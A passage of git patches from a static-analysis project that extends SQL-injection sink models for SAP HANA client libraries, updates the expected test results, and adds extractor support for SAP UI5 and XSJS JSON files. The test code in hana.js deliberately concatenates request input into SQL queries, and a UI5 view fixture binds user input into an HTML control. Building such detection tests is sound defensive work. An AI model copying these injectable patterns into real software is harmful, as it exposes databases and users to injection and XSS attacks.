hana.js:24:33:24:96 | `INSERT ... usInput | provenance | | +| hana.js:30:13:30:42 | maliciousInput | hana.js:31:84:31:97 | maliciousInput | provenance | | +| hana.js:30:30:30:37 | req.body | hana.js:30:13:30:42 | maliciousInput | provenance | | +| hana.js:31:84:31:97 | maliciousInput | hana.js:31:31:31:97 | "SELECT ... usInput | provenance | | | hana.js:68:7:68:36 | maliciousInput | hana.js:71:86:71:99 | maliciousInput | provenance | | | hana.js:68:7:68:36 | maliciousInput | hana.js:73:41:73:54 | maliciousInput | provenance | | | hana.js:68:7:68:36 | maliciousInput | hana.js:74:41:74:54 | maliciousInput | provenance | | +| hana.js:68:7:68:36 | maliciousInput | hana.js:76:60:76:73 | maliciousInput | provenance | | +| hana.js:68:7:68:36 | maliciousInput | hana.js:80:56:80:69 | maliciousInput | provenance | | | hana.js:68:24:68:31 | req.body | hana.js:68:7:68:36 | maliciousInput | provenance | | | hana.js:71:86:71:99 | maliciousInput | hana.js:71:44:71:99 | "INSERT ... usInput | provenance | | | hana.js:73:41:73:54 | maliciousInput | hana.js:73:17:73:54 | 'select ... usInput | provenance | | | hana.js:74:41:74:54 | maliciousInput | hana.js:74:17:74:54 | 'select ... usInput | provenance | | +| hana.js:76:60:76:73 | maliciousInput | hana.js:76:20:76:73 | 'select ... usInput | provenance | | +| hana.js:80:56:80:69 | maliciousInput | hana.js:80:20:80:69 | 'call P ... usInput | provenance | | | html-sanitizer.js:13:39:13:44 | param1 | html-sanitizer.js:14:18:14:23 | param1 | provenance | | | html-sanitizer.js:14:5:14:24 | param1 | html-sanitizer.js:16:54:16:59 | param1 | provenance | | | html-sanitizer.js:14:14:14:24 | xss(param1) | html-sanitizer.js:14:5:14:24 | param1 | provenance | | @@ -524,6 +542,18 @@ nodes | hana.js:10:15:10:80 | query | semmle.label | query | | hana.js:10:64:10:77 | maliciousInput | semmle.label | maliciousInput | | hana.js:11:19:11:23 | query | semmle.label | query | +| hana.js:16:15:16:44 | maliciousInput | semmle.label | maliciousInput | +| hana.js:16:32:16:39 | req.body | semmle.label | req.body | +| hana.js:17:35:17:100 | `SELECT ... usInput | semmle.label | `SELECT ... usInput | +| hana.js:17:87:17:100 | maliciousInput | semmle.label | maliciousInput | +| hana.js:23:15:23:44 | maliciousInput | semmle.label | maliciousInput | +| hana.js:23:32:23:39 | req.body | semmle.label | req.body | +| hana.js:24:33:24:96 | `INSERT ... usInput | semmle.label | `INSERT ... usInput | +| hana.js:24:83:24:96 | maliciousInput | semmle.label | maliciousInput | +| hana.js:30:13:30:42 | maliciousInput | semmle.label | maliciousInput | +| hana.js:30:30:30:37 | req.body | semmle.label | req.body | +| hana.js:31:31:31:97 | "SELECT ... usInput | semmle.label | "SELECT ... usInput | +| hana.js:31:84:31:97 | maliciousInput | semmle.label | maliciousInput | | hana.js:68:7:68:36 | maliciousInput | semmle.label | maliciousInput | | hana.js:68:24:68:31 | req.body | semmle.label | req.body | | hana.js:71:44:71:99 | "INSERT ... usInput | semmle.label | "INSERT ... usInput | @@ -532,6 +562,10 @@ nodes | hana.js:73:41:73:54 | maliciousInput | semmle.label | maliciousInput | | hana.js:74:17:74:54 | 'select ... usInput | semmle.label | 'select ... usInput | | hana.js:74:41:74:54 | maliciousInput | semmle.label | maliciousInput | +| hana.js:76:20:76:73 | 'select ... usInput | semmle.label | 'select ... usInput | +| hana.js:76:60:76:73 | maliciousInput | semmle.label | maliciousInput | +| hana.js:80:20:80:69 | 'call P ... usInput | semmle.label | 'call P ... usInput | +| hana.js:80:56:80:69 | maliciousInput | semmle.label | maliciousInput | | html-sanitizer.js:13:39:13:44 | param1 | semmle.label | param1 | | html-sanitizer.js:14:5:14:24 | param1 | semmle.label | param1 | | html-sanitizer.js:14:14:14:24 | xss(param1) | semmle.label | xss(param1) | diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js index 2b3aea9ae1d..1bbaf70b670 100644 --- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js +++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js @@ -13,22 +13,22 @@ app.post('/documents/find', (req, res) => { }); conn.connect(connectionParams, (err) => { - const maliciousInput = req.body.data; // $ MISSING: Source - const stmt = conn.prepare(`SELECT * FROM Test WHERE ID = ? AND username = ` + maliciousInput); // $ MISSING: Alert + const maliciousInput = req.body.data; // $ Source + const stmt = conn.prepare(`SELECT * FROM Test WHERE ID = ? AND username = ` + maliciousInput); // $ Alert stmt.exec([maliciousInput], (err, rows) => {}); // maliciousInput is treated as a parameter conn.disconnect(); }); conn.connect(connectionParams, (err) => { - const maliciousInput = req.body.data; // $ MISSING: Source - var stmt = conn.prepare(`INSERT INTO Customers(ID, NAME) VALUES(?, ?) ` + maliciousInput); // $ MISSING: Alert + const maliciousInput = req.body.data; // $ Source + var stmt = conn.prepare(`INSERT INTO Customers(ID, NAME) VALUES(?, ?) ` + maliciousInput); // $ Alert stmt.execBatch([[1, maliciousInput], [2, maliciousInput]], function(err, rows) {}); // maliciousInput is treated as a parameter conn.disconnect(); }); conn.connect(connectionParams, (err) => { - const maliciousInput = req.body.data; // $ MISSING: Source - var stmt = conn.prepare("SELECT * FROM Customers WHERE ID >= ? AND ID < ?" + maliciousInput); // $ MISSING: Alert + const maliciousInput = req.body.data; // $ Source + var stmt = conn.prepare("SELECT * FROM Customers WHERE ID >= ? AND ID < ?" + maliciousInput); // $ Alert stmt.execQuery([100, maliciousInput], function(err, rs) {}); // $ maliciousInput is treated as a parameter conn.disconnect(); }); @@ -73,11 +73,11 @@ app2.post('/documents/find', (req, res) => { client.exec('select * from DUMMY' + maliciousInput, function (err, rows) {}); // $ Alert client.exec('select * from DUMMY' + maliciousInput, options, function(err, rows) {}); // $ Alert - client.prepare('select * from DUMMY where DUMMY = ?' + maliciousInput, function (err, statement){ // $ MISSING: Alert + client.prepare('select * from DUMMY where DUMMY = ?' + maliciousInput, function (err, statement){ // $ Alert statement.exec([maliciousInput], function (err, rows) {}); // maliciousInput is treated as a parameter }); - client.prepare('call PROC_DUMMY (?, ?, ?, ?, ?)' + maliciousInput, function(err, statement){ // $ MISSING: Alert + client.prepare('call PROC_DUMMY (?, ?, ?, ?, ?)' + maliciousInput, function(err, statement){ // $ Alert statement.exec({A: 3, B: maliciousInput}, function(err, parameters, dummyRows, tableRows) {}); }); From e595def8b039062dd81cd30830b8fb0d144eb315 Mon Sep 17 00:00:00 2001 From: Napalys Date: Tue, 25 Mar 2025 14:44:37 +0100 Subject: [PATCH 071/282] Modeled `execute` as potential `hana`'s sink. --- javascript/ql/lib/ext/hana-db-client.model.yml | 2 +- .../Security/CWE-089/untyped/SqlInjection.expected | 5 +++++ .../ql/test/query-tests/Security/CWE-089/untyped/hana.js | 2 +- 3 files changed, 7 insertions(+), 2 deletions(-) diff --git a/javascript/ql/lib/ext/hana-db-client.model.yml b/javascript/ql/lib/ext/hana-db-client.model.yml index 1e52784e966..bb2d10669f8 100644 --- a/javascript/ql/lib/ext/hana-db-client.model.yml +++ b/javascript/ql/lib/ext/hana-db-client.model.yml @@ -5,4 +5,4 @@ extensions: data: - ["@sap/hana-client", "Member[createConnection].ReturnValue.Member[exec,prepare].Argument[0]", "sql-injection"] - - ["hdb", "Member[createClient].ReturnValue.Member[exec,prepare].Argument[0]", "sql-injection"] + - ["hdb", "Member[createClient].ReturnValue.Member[exec,prepare,execute].Argument[0]", "sql-injection"] diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected b/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected index 63abc5d3347..a1ce243a518 100644 --- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected +++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected @@ -19,6 +19,7 @@ | hana.js:74:17:74:54 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:74:17:74:54 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value | | hana.js:76:20:76:73 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:76:20:76:73 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value | | hana.js:80:20:80:69 | 'call P ... usInput | hana.js:68:24:68:31 | req.body | hana.js:80:20:80:69 | 'call P ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value | +| hana.js:84:20:84:78 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:84:20:84:78 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value | | html-sanitizer.js:16:9:16:59 | `SELECT ... param1 | html-sanitizer.js:13:39:13:44 | param1 | html-sanitizer.js:16:9:16:59 | `SELECT ... param1 | This query string depends on a $@. | html-sanitizer.js:13:39:13:44 | param1 | user-provided value | | json-schema-validator.js:33:22:33:26 | query | json-schema-validator.js:25:34:25:47 | req.query.data | json-schema-validator.js:33:22:33:26 | query | This query object depends on a $@. | json-schema-validator.js:25:34:25:47 | req.query.data | user-provided value | | json-schema-validator.js:35:18:35:22 | query | json-schema-validator.js:25:34:25:47 | req.query.data | json-schema-validator.js:35:18:35:22 | query | This query object depends on a $@. | json-schema-validator.js:25:34:25:47 | req.query.data | user-provided value | @@ -179,12 +180,14 @@ edges | hana.js:68:7:68:36 | maliciousInput | hana.js:74:41:74:54 | maliciousInput | provenance | | | hana.js:68:7:68:36 | maliciousInput | hana.js:76:60:76:73 | maliciousInput | provenance | | | hana.js:68:7:68:36 | maliciousInput | hana.js:80:56:80:69 | maliciousInput | provenance | | +| hana.js:68:7:68:36 | maliciousInput | hana.js:84:65:84:78 | maliciousInput | provenance | | | hana.js:68:24:68:31 | req.body | hana.js:68:7:68:36 | maliciousInput | provenance | | | hana.js:71:86:71:99 | maliciousInput | hana.js:71:44:71:99 | "INSERT ... usInput | provenance | | | hana.js:73:41:73:54 | maliciousInput | hana.js:73:17:73:54 | 'select ... usInput | provenance | | | hana.js:74:41:74:54 | maliciousInput | hana.js:74:17:74:54 | 'select ... usInput | provenance | | | hana.js:76:60:76:73 | maliciousInput | hana.js:76:20:76:73 | 'select ... usInput | provenance | | | hana.js:80:56:80:69 | maliciousInput | hana.js:80:20:80:69 | 'call P ... usInput | provenance | | +| hana.js:84:65:84:78 | maliciousInput | hana.js:84:20:84:78 | 'select ... usInput | provenance | | | html-sanitizer.js:13:39:13:44 | param1 | html-sanitizer.js:14:18:14:23 | param1 | provenance | | | html-sanitizer.js:14:5:14:24 | param1 | html-sanitizer.js:16:54:16:59 | param1 | provenance | | | html-sanitizer.js:14:14:14:24 | xss(param1) | html-sanitizer.js:14:5:14:24 | param1 | provenance | | @@ -566,6 +569,8 @@ nodes | hana.js:76:60:76:73 | maliciousInput | semmle.label | maliciousInput | | hana.js:80:20:80:69 | 'call P ... usInput | semmle.label | 'call P ... usInput | | hana.js:80:56:80:69 | maliciousInput | semmle.label | maliciousInput | +| hana.js:84:20:84:78 | 'select ... usInput | semmle.label | 'select ... usInput | +| hana.js:84:65:84:78 | maliciousInput | semmle.label | maliciousInput | | html-sanitizer.js:13:39:13:44 | param1 | semmle.label | param1 | | html-sanitizer.js:14:5:14:24 | param1 | semmle.label | param1 | | html-sanitizer.js:14:14:14:24 | xss(param1) | semmle.label | xss(param1) | diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js index 1bbaf70b670..b620e352607 100644 --- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js +++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js @@ -81,6 +81,6 @@ app2.post('/documents/find', (req, res) => { statement.exec({A: 3, B: maliciousInput}, function(err, parameters, dummyRows, tableRows) {}); }); - client.execute('select A, B from TEST.NUMBERS order by A' + maliciousInput, function(err, rs) {}); // $ MISSING: Alert + client.execute('select A, B from TEST.NUMBERS order by A' + maliciousInput, function(err, rs) {}); // $ Alert }); }); From 0285cb6c7a2c22e95b0bec074eb3113ae4fcfd0e Mon Sep 17 00:00:00 2001 From: Napalys Date: Tue, 25 Mar 2025 14:48:40 +0100 Subject: [PATCH 072/282] Added `@sap/hdbext.loadProccedure` as sql sink. --- javascript/ql/lib/ext/hana-db-client.model.yml | 2 +- .../Security/CWE-089/untyped/SqlInjection.expected | 14 ++++++++++++++ .../query-tests/Security/CWE-089/untyped/hana.js | 4 ++-- 3 files changed, 17 insertions(+), 3 deletions(-) diff --git a/javascript/ql/lib/ext/hana-db-client.model.yml b/javascript/ql/lib/ext/hana-db-client.model.yml index bb2d10669f8..08ccc41beab 100644 --- a/javascript/ql/lib/ext/hana-db-client.model.yml +++ b/javascript/ql/lib/ext/hana-db-client.model.yml @@ -4,5 +4,5 @@ extensions: extensible: sinkModel data: - ["@sap/hana-client", "Member[createConnection].ReturnValue.Member[exec,prepare].Argument[0]", "sql-injection"] - - ["hdb", "Member[createClient].ReturnValue.Member[exec,prepare,execute].Argument[0]", "sql-injection"] + - ["@sap/hdbext", "Member[loadProcedure].Argument[2]", "sql-injection"] diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected b/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected index a1ce243a518..62c0c51abce 100644 --- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected +++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected @@ -14,6 +14,7 @@ | hana.js:17:35:17:100 | `SELECT ... usInput | hana.js:16:32:16:39 | req.body | hana.js:17:35:17:100 | `SELECT ... usInput | This query string depends on a $@. | hana.js:16:32:16:39 | req.body | user-provided value | | hana.js:24:33:24:96 | `INSERT ... usInput | hana.js:23:32:23:39 | req.body | hana.js:24:33:24:96 | `INSERT ... usInput | This query string depends on a $@. | hana.js:23:32:23:39 | req.body | user-provided value | | hana.js:31:31:31:97 | "SELECT ... usInput | hana.js:30:30:30:37 | req.body | hana.js:31:31:31:97 | "SELECT ... usInput | This query string depends on a $@. | hana.js:30:30:30:37 | req.body | user-provided value | +| hana.js:54:38:54:66 | 'PROC_D ... usInput | hana.js:47:24:47:31 | req.body | hana.js:54:38:54:66 | 'PROC_D ... usInput | This query string depends on a $@. | hana.js:47:24:47:31 | req.body | user-provided value | | hana.js:71:44:71:99 | "INSERT ... usInput | hana.js:68:24:68:31 | req.body | hana.js:71:44:71:99 | "INSERT ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value | | hana.js:73:17:73:54 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:73:17:73:54 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value | | hana.js:74:17:74:54 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:74:17:74:54 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value | @@ -175,6 +176,13 @@ edges | hana.js:30:13:30:42 | maliciousInput | hana.js:31:84:31:97 | maliciousInput | provenance | | | hana.js:30:30:30:37 | req.body | hana.js:30:13:30:42 | maliciousInput | provenance | | | hana.js:31:84:31:97 | maliciousInput | hana.js:31:31:31:97 | "SELECT ... usInput | provenance | | +| hana.js:47:7:47:36 | maliciousInput | hana.js:48:39:48:52 | maliciousInput | provenance | | +| hana.js:47:7:47:36 | maliciousInput | hana.js:50:76:50:89 | maliciousInput | provenance | | +| hana.js:47:7:47:36 | maliciousInput | hana.js:54:53:54:66 | maliciousInput | provenance | | +| hana.js:47:24:47:31 | req.body | hana.js:47:7:47:36 | maliciousInput | provenance | | +| hana.js:48:39:48:52 | maliciousInput | hana.js:50:76:50:89 | maliciousInput | provenance | | +| hana.js:50:76:50:89 | maliciousInput | hana.js:54:53:54:66 | maliciousInput | provenance | | +| hana.js:54:53:54:66 | maliciousInput | hana.js:54:38:54:66 | 'PROC_D ... usInput | provenance | | | hana.js:68:7:68:36 | maliciousInput | hana.js:71:86:71:99 | maliciousInput | provenance | | | hana.js:68:7:68:36 | maliciousInput | hana.js:73:41:73:54 | maliciousInput | provenance | | | hana.js:68:7:68:36 | maliciousInput | hana.js:74:41:74:54 | maliciousInput | provenance | | @@ -557,6 +565,12 @@ nodes | hana.js:30:30:30:37 | req.body | semmle.label | req.body | | hana.js:31:31:31:97 | "SELECT ... usInput | semmle.label | "SELECT ... usInput | | hana.js:31:84:31:97 | maliciousInput | semmle.label | maliciousInput | +| hana.js:47:7:47:36 | maliciousInput | semmle.label | maliciousInput | +| hana.js:47:24:47:31 | req.body | semmle.label | req.body | +| hana.js:48:39:48:52 | maliciousInput | semmle.label | maliciousInput | +| hana.js:50:76:50:89 | maliciousInput | semmle.label | maliciousInput | +| hana.js:54:38:54:66 | 'PROC_D ... usInput | semmle.label | 'PROC_D ... usInput | +| hana.js:54:53:54:66 | maliciousInput | semmle.label | maliciousInput | | hana.js:68:7:68:36 | maliciousInput | semmle.label | maliciousInput | | hana.js:68:24:68:31 | req.body | semmle.label | req.body | | hana.js:71:44:71:99 | "INSERT ... usInput | semmle.label | "INSERT ... usInput | diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js index b620e352607..2d892a9864c 100644 --- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js +++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js @@ -44,14 +44,14 @@ app1.use(hdbext.middleware(hanaConfig)); app1.get('/execute-query', function (req, res) { var client = req.db; - let maliciousInput = req.body.data; // $ MISSING: Source + let maliciousInput = req.body.data; // $ Source client.exec('SELECT * FROM DUMMY' + maliciousInput, function (err, rs) {}); // $ MISSING: Alert dbStream.createProcStatement(client, 'CALL PROC_DUMMY (?, ?, ?, ?, ?)' + maliciousInput, function (err, stmt) { // $ MISSING: Alert stmt.exec({ A: maliciousInput, B: 4 }, function (err, params, dummyRows, tablesRows) {}); // maliciousInput is treated as a parameter }); - hdbext.loadProcedure(client, null, 'PROC_DUMMY' + maliciousInput, function(err, sp) { // $ MISSING: Alert + hdbext.loadProcedure(client, null, 'PROC_DUMMY' + maliciousInput, function(err, sp) { // $ Alert sp(3, maliciousInput, function(err, parameters, dummyRows, tablesRows) {}); // maliciousInput is treated as a parameter }); }); From 7cc0634f573ed4015a1a9ae194283694babd341b Mon Sep 17 00:00:00 2001 From: Napalys Date: Tue, 25 Mar 2025 14:50:38 +0100 Subject: [PATCH 073/282] Added `createProcStatement` as potential sql sink. --- javascript/ql/lib/ext/hana-db-client.model.yml | 1 + .../query-tests/Security/CWE-089/untyped/SqlInjection.expected | 3 +++ .../ql/test/query-tests/Security/CWE-089/untyped/hana.js | 2 +- 3 files changed, 5 insertions(+), 1 deletion(-) diff --git a/javascript/ql/lib/ext/hana-db-client.model.yml b/javascript/ql/lib/ext/hana-db-client.model.yml index 08ccc41beab..f1a02189ef2 100644 --- a/javascript/ql/lib/ext/hana-db-client.model.yml +++ b/javascript/ql/lib/ext/hana-db-client.model.yml @@ -6,3 +6,4 @@ extensions: - ["@sap/hana-client", "Member[createConnection].ReturnValue.Member[exec,prepare].Argument[0]", "sql-injection"] - ["hdb", "Member[createClient].ReturnValue.Member[exec,prepare,execute].Argument[0]", "sql-injection"] - ["@sap/hdbext", "Member[loadProcedure].Argument[2]", "sql-injection"] + - ["@sap/hana-client/extension/Stream", "Member[createProcStatement].Argument[1]", "sql-injection"] diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected b/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected index 62c0c51abce..df2f4ea5aed 100644 --- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected +++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.expected @@ -14,6 +14,7 @@ | hana.js:17:35:17:100 | `SELECT ... usInput | hana.js:16:32:16:39 | req.body | hana.js:17:35:17:100 | `SELECT ... usInput | This query string depends on a $@. | hana.js:16:32:16:39 | req.body | user-provided value | | hana.js:24:33:24:96 | `INSERT ... usInput | hana.js:23:32:23:39 | req.body | hana.js:24:33:24:96 | `INSERT ... usInput | This query string depends on a $@. | hana.js:23:32:23:39 | req.body | user-provided value | | hana.js:31:31:31:97 | "SELECT ... usInput | hana.js:30:30:30:37 | req.body | hana.js:31:31:31:97 | "SELECT ... usInput | This query string depends on a $@. | hana.js:30:30:30:37 | req.body | user-provided value | +| hana.js:50:40:50:89 | 'CALL P ... usInput | hana.js:47:24:47:31 | req.body | hana.js:50:40:50:89 | 'CALL P ... usInput | This query string depends on a $@. | hana.js:47:24:47:31 | req.body | user-provided value | | hana.js:54:38:54:66 | 'PROC_D ... usInput | hana.js:47:24:47:31 | req.body | hana.js:54:38:54:66 | 'PROC_D ... usInput | This query string depends on a $@. | hana.js:47:24:47:31 | req.body | user-provided value | | hana.js:71:44:71:99 | "INSERT ... usInput | hana.js:68:24:68:31 | req.body | hana.js:71:44:71:99 | "INSERT ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value | | hana.js:73:17:73:54 | 'select ... usInput | hana.js:68:24:68:31 | req.body | hana.js:73:17:73:54 | 'select ... usInput | This query string depends on a $@. | hana.js:68:24:68:31 | req.body | user-provided value | @@ -181,6 +182,7 @@ edges | hana.js:47:7:47:36 | maliciousInput | hana.js:54:53:54:66 | maliciousInput | provenance | | | hana.js:47:24:47:31 | req.body | hana.js:47:7:47:36 | maliciousInput | provenance | | | hana.js:48:39:48:52 | maliciousInput | hana.js:50:76:50:89 | maliciousInput | provenance | | +| hana.js:50:76:50:89 | maliciousInput | hana.js:50:40:50:89 | 'CALL P ... usInput | provenance | | | hana.js:50:76:50:89 | maliciousInput | hana.js:54:53:54:66 | maliciousInput | provenance | | | hana.js:54:53:54:66 | maliciousInput | hana.js:54:38:54:66 | 'PROC_D ... usInput | provenance | | | hana.js:68:7:68:36 | maliciousInput | hana.js:71:86:71:99 | maliciousInput | provenance | | @@ -568,6 +570,7 @@ nodes | hana.js:47:7:47:36 | maliciousInput | semmle.label | maliciousInput | | hana.js:47:24:47:31 | req.body | semmle.label | req.body | | hana.js:48:39:48:52 | maliciousInput | semmle.label | maliciousInput | +| hana.js:50:40:50:89 | 'CALL P ... usInput | semmle.label | 'CALL P ... usInput | | hana.js:50:76:50:89 | maliciousInput | semmle.label | maliciousInput | | hana.js:54:38:54:66 | 'PROC_D ... usInput | semmle.label | 'PROC_D ... usInput | | hana.js:54:53:54:66 | maliciousInput | semmle.label | maliciousInput | diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js index 2d892a9864c..a8fad900865 100644 --- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js +++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js @@ -47,7 +47,7 @@ app1.get('/execute-query', function (req, res) { let maliciousInput = req.body.data; // $ Source client.exec('SELECT * FROM DUMMY' + maliciousInput, function (err, rs) {}); // $ MISSING: Alert - dbStream.createProcStatement(client, 'CALL PROC_DUMMY (?, ?, ?, ?, ?)' + maliciousInput, function (err, stmt) { // $ MISSING: Alert + dbStream.createProcStatement(client, 'CALL PROC_DUMMY (?, ?, ?, ?, ?)' + maliciousInput, function (err, stmt) { // $ Alert stmt.exec({ A: maliciousInput, B: 4 }, function (err, params, dummyRows, tablesRows) {}); // maliciousInput is treated as a parameter }); From 520e27ccfa182e1549ef3a862e5767402d9d9c22 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Tue, 25 Mar 2025 15:49:03 +0100 Subject: [PATCH 074/282] Shared: Fix typos in qldoc --- .../codeql/typeinference/internal/TypeInference.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index 36618eaf85e..772512c0df3 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -674,8 +674,8 @@ module Make1 Input1> { /** * Holds if `tp1` and `tp2` are distinct type parameters of `target`, the - * declared type at `apos` mentions `tp1` at `path1`, `tp1` has a base - * type mention of type `constrant` that mentions `tp2` at the path + * declared type at `dpos` mentions `tp1` at `path1`, `tp1` has a base + * type mention of type `constraint` that mentions `tp2` at the path * `path2`. * * For this example From 8814077c76235f62c3788b0197cadbabc908d633 Mon Sep 17 00:00:00 2001 From: Luke Cartey Date: Tue, 25 Mar 2025 17:01:37 +0000 Subject: [PATCH 075/282] Add support for additional SAP JSON formats. --- .../com/semmle/js/extractor/AutoBuild.java | 11 ++- .../extractor/tests/ui5/input/test.view.json | 16 ++++ .../tests/ui5/output/trap/test.view.json.trap | 87 +++++++++++++++++++ .../tests/{xsaccess => xsjs}/input/.xsaccess | 0 .../extractor/tests/xsjs/input/xs-app.json | 12 +++ .../output/trap/.xsaccess.trap | 0 .../tests/xsjs/output/trap/xs-app.json.trap | 68 +++++++++++++++ 7 files changed, 191 insertions(+), 3 deletions(-) create mode 100644 javascript/extractor/tests/ui5/input/test.view.json create mode 100644 javascript/extractor/tests/ui5/output/trap/test.view.json.trap rename javascript/extractor/tests/{xsaccess => xsjs}/input/.xsaccess (100%) create mode 100644 javascript/extractor/tests/xsjs/input/xs-app.json rename javascript/extractor/tests/{xsaccess => xsjs}/output/trap/.xsaccess.trap (100%) create mode 100644 javascript/extractor/tests/xsjs/output/trap/xs-app.json.trap diff --git a/javascript/extractor/src/com/semmle/js/extractor/AutoBuild.java b/javascript/extractor/src/com/semmle/js/extractor/AutoBuild.java index 0d5fa561910..49b22ddcd2d 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/AutoBuild.java +++ b/javascript/extractor/src/com/semmle/js/extractor/AutoBuild.java @@ -160,6 +160,9 @@ import com.semmle.util.trap.TrapWriter; * is of the form "codeql-javascript-*.json". *
  • JavaScript, JSON or YAML files whose base name starts with ".eslintrc". *
  • JSON files whose base name is ".xsaccess". + *
  • JSON files whose base name is "xs-app.json". + *
  • JSON files whose base name ends with ".view.json". + *
  • JSON files whose base name is "manifest.json". *
  • All extension-less files. * * @@ -394,10 +397,12 @@ public class AutoBuild { for (FileType filetype : defaultExtract) for (String extension : filetype.getExtensions()) patterns.add("**/*" + extension); - // include .eslintrc files, .xsaccess files, package.json files, - // tsconfig.json files, and codeql-javascript-*.json files + // include JSON files which are relevant to our analysis patterns.add("**/.eslintrc*"); - patterns.add("**/.xsaccess"); + patterns.add("**/.xsaccess"); // SAP XSJS + patterns.add("**/xs-app.json"); // SAP XSJS + patterns.add("**/*.view.json"); // SAP UI5 + patterns.add("**/manifest.json"); patterns.add("**/package.json"); patterns.add("**/tsconfig*.json"); patterns.add("**/codeql-javascript-*.json"); diff --git a/javascript/extractor/tests/ui5/input/test.view.json b/javascript/extractor/tests/ui5/input/test.view.json new file mode 100644 index 00000000000..32f686ec3b2 --- /dev/null +++ b/javascript/extractor/tests/ui5/input/test.view.json @@ -0,0 +1,16 @@ +{ + "Type": "sap.ui.core.mvc.JSONView", + "controllerName": "codeql-sap-js.controller.app", + "content": [ + { + "Type": "sap.m.Input", + "placeholder": "Enter Payload", + "description": "Try: ", + "value": "{/input}" + }, + { + "Type": "sap.ui.core.HTML", + "content": "{/input}" + } + ] +} \ No newline at end of file diff --git a/javascript/extractor/tests/ui5/output/trap/test.view.json.trap b/javascript/extractor/tests/ui5/output/trap/test.view.json.trap new file mode 100644 index 00000000000..064acca5232 --- /dev/null +++ b/javascript/extractor/tests/ui5/output/trap/test.view.json.trap @@ -0,0 +1,87 @@ +#10000=@"/test.view.json;sourcefile" +files(#10000,"/test.view.json") +#10001=@"/;folder" +folders(#10001,"/") +containerparent(#10001,#10000) +#10002=@"loc,{#10000},0,0,0,0" +locations_default(#10002,#10000,0,0,0,0) +hasLocation(#10000,#10002) +#20000=* +json(#20000,5,#10000,0,"{\n "" ... ]\n}") +#20001=@"loc,{#10000},1,1,16,1" +locations_default(#20001,#10000,1,1,16,1) +json_locations(#20000,#20001) +#20002=* +json(#20002,3,#20000,0,"""sap.ui ... ONView""") +#20003=@"loc,{#10000},2,13,2,38" +locations_default(#20003,#10000,2,13,2,38) +json_locations(#20002,#20003) +json_literals("sap.ui.core.mvc.JSONView","""sap.ui.core.mvc.JSONView""",#20002) +json_properties(#20000,"Type",#20002) +#20004=* +json(#20004,3,#20000,1,"""codeql ... er.app""") +#20005=@"loc,{#10000},3,23,3,52" +locations_default(#20005,#10000,3,23,3,52) +json_locations(#20004,#20005) +json_literals("codeql-sap-js.controller.app","""codeql-sap-js.controller.app""",#20004) +json_properties(#20000,"controllerName",#20004) +#20006=* +json(#20006,4,#20000,2,"[\n ... }\n ]") +#20007=@"loc,{#10000},4,16,15,5" +locations_default(#20007,#10000,4,16,15,5) +json_locations(#20006,#20007) +#20008=* +json(#20008,5,#20006,0,"{\n ... }") +#20009=@"loc,{#10000},5,9,10,9" +locations_default(#20009,#10000,5,9,10,9) +json_locations(#20008,#20009) +#20010=* +json(#20010,3,#20008,0,"""sap.m.Input""") +#20011=@"loc,{#10000},6,21,6,33" +locations_default(#20011,#10000,6,21,6,33) +json_locations(#20010,#20011) +json_literals("sap.m.Input","""sap.m.Input""",#20010) +json_properties(#20008,"Type",#20010) +#20012=* +json(#20012,3,#20008,1,"""Enter Payload""") +#20013=@"loc,{#10000},7,28,7,42" +locations_default(#20013,#10000,7,28,7,42) 